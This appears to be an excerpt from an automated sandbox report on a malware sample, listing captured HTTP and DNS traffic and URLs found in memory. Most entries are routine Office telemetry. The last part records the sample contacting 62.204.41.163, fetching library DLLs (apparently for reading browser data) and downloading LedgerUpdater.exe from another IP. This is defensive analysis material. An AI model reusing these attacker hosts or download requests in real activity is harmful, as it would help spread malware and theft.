Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.163Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/sqlite3.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/freebl3.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/mozglue.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/msvcp140.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/nss3.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/softokn3.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2c3d53f1da5ea53a/vcruntime140.dll HTTP/1.1Host: 62.204.41.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /LedgerUpdater.exe HTTP/1.1Host: 176.113.115.215Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 904sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.215/LedgerUpdater.exe
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.000000000124E000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://62.204.41.163
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.000000002194F000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/16fa04073490929d.php
Source: qlI3ReINCV.exe, 00000000.00000002.1985801776.000000002194F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/16fa04073490929d.php$
Source: qlI3ReINCV.exe, 00000000.00000002.1985801776.000000002194F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/16fa04073490929d.php14
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://62.204.41.163/16fa04073490929d.phpy=----CGIJKJJKEBGHJKFIDGCAult-release
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/freebl3.dll
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/mozglue.dll
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/msvcp140.dll
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1968390990.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll2
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll7(
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/softokn3.dll
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/sqlite3.dll
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/2c3d53f1da5ea53a/vcruntime140.dll
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.163/j
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://62.204.41.1635/LedgerUpdater.exery=----s://support.mozilla.org/kb/customize-firefox-controls-
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/View/MainWindow.xaml
Source: DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/View/MainWindow.xamld
Source: DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/View/MainWindow.xaml
